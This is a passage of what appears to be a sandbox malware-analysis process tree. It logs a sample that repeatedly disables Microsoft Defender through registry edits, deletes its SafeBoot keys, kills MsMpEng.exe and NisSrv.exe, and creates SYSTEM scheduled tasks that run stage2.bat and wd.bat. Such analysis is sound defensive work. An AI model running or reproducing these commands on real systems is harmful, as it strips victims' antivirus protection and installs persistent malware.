  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:252
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:6132
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  PID:3888
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:6068
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  - Executes a command shell one-liner
  PID:1460
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:120
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f"
  2⤵
  PID:6060
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f
    3⤵
    PID:4456
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f"
  2⤵
  PID:6136
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f
    3⤵
    PID:4856
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:2656
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2744
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:4460
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2468
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:3796
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:1276
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:2088
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:5436
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:3164
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:1560
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:4200
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:3112
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  PID:1948
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4820
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  PID:4728
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1308
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f"
  2⤵
  PID:3320
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f
    3⤵
    PID:2052
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f"
  2⤵
  PID:2240
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f
    3⤵
    PID:668
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:2360
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:3944
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:4468
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4696
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:4216
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6028
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2436
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:1408
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1744
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:3144
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:5708
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:5456
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:6024
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4436
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  - Executes a command shell one-liner
  PID:5572
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5928
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  PID:5644
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4448
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f"
  2⤵
  PID:4948
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f
    3⤵
    PID:5296
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f"
  2⤵
  - Executes a command shell one-liner
  PID:1272
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f
    3⤵
    PID:1916
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:2576
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:696
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:2488
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4452
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:3784
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:5020
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1512
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:3396
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:1568
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4812
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:1552
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4072
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:2996
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2780
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  PID:120
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1944
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  - Executes a command shell one-liner
  PID:4548
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4196
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f"
  2⤵
  PID:5320
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f
    3⤵
    PID:5808
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f"
  2⤵
  PID:5792
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f
    3⤵
    PID:1516
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:3104
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:3892
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:3920
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2012
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:4528
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:412
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:5172
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:3556
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:3548
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:5464
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:1308
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4844
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  PID:5768
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2052
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2984
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  PID:6088
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1304
- C:\Windows\system32\cmd.exe
  "cmd" /c "start \"\" \"C:\ProgramData\Microsoft\WinSvc\winsvc32.exe\""
  2⤵
  - Enumerates connected drives
  - Executes a command shell one-liner
  PID:3520
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f"
  2⤵
  PID:1668
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f
    3⤵
    PID:5156
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f"
  2⤵
  PID:5976
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f
    3⤵
    PID:5108
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:4204
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:1196
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:3160
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:5076
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:4292
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4320
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:1112
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4992
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:3620
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2500
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:5220
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4832
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  PID:612
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4136
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  PID:3700
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1512
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"\Microsoft\Windows\ZZWinSvcStage2\" /tr \"cmd /c C:\ProgramData\Microsoft\WinSvc\stage2.bat\" /sc onstart /ru SYSTEM /rl highest /f"
  2⤵
  PID:5476
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"\Microsoft\Windows\ZZWinSvcStage2\" /tr \"cmd /c C:\ProgramData\Microsoft\WinSvc\stage2.bat\" /sc onstart /ru SYSTEM /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1360
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f"
  2⤵
  PID:1080
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f
    3⤵
    PID:4588
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f"
  2⤵
  PID:5356
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f
    3⤵
    PID:1944
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:2176
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:5700
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:3412
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:3008
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:1132
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2468
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:3712
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2804
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:4464
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:1532
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:1400
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:1560
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  - Executes a command shell one-liner
  PID:3112
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4732
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  PID:4820
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5464
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"\Microsoft\Windows\ZZWinSvcStage2L\" /tr \"cmd /c C:\ProgramData\Microsoft\WinSvc\stage2.bat\" /sc onlogon /ru SYSTEM /rl highest /f"
  2⤵
  PID:4844
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"\Microsoft\Windows\ZZWinSvcStage2L\" /tr \"cmd /c C:\ProgramData\Microsoft\WinSvc\stage2.bat\" /sc onlogon /ru SYSTEM /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1264
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f"
  2⤵
  PID:3764
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f
    3⤵
    PID:2052
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f"
  2⤵
  PID:4696
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f
    3⤵
    PID:1124
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:3944
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2812
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:6028
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:3144
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:5156
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4536
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:3392
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:1192
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:1196
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4908
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:2584
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4104
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  PID:5460
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4804
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  PID:5828
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2500
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4784
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"\Microsoft\Windows\ZZZWinsvcClean\" /tr \"C:\ProgramData\Microsoft\WinSvc\wd.bat\" /sc minute /mo 4 /ru SYSTEM /rl highest /f"
  2⤵
  PID:4452
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"\Microsoft\Windows\ZZZWinsvcClean\" /tr \"C:\ProgramData\Microsoft\WinSvc\wd.bat\" /sc minute /mo 4 /ru SYSTEM /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:52
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f"
  2⤵
  PID:248
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f
    3⤵
    PID:1700
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f"
  2⤵
  PID:1512
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f
    3⤵
    PID:3252
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:4400
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2388
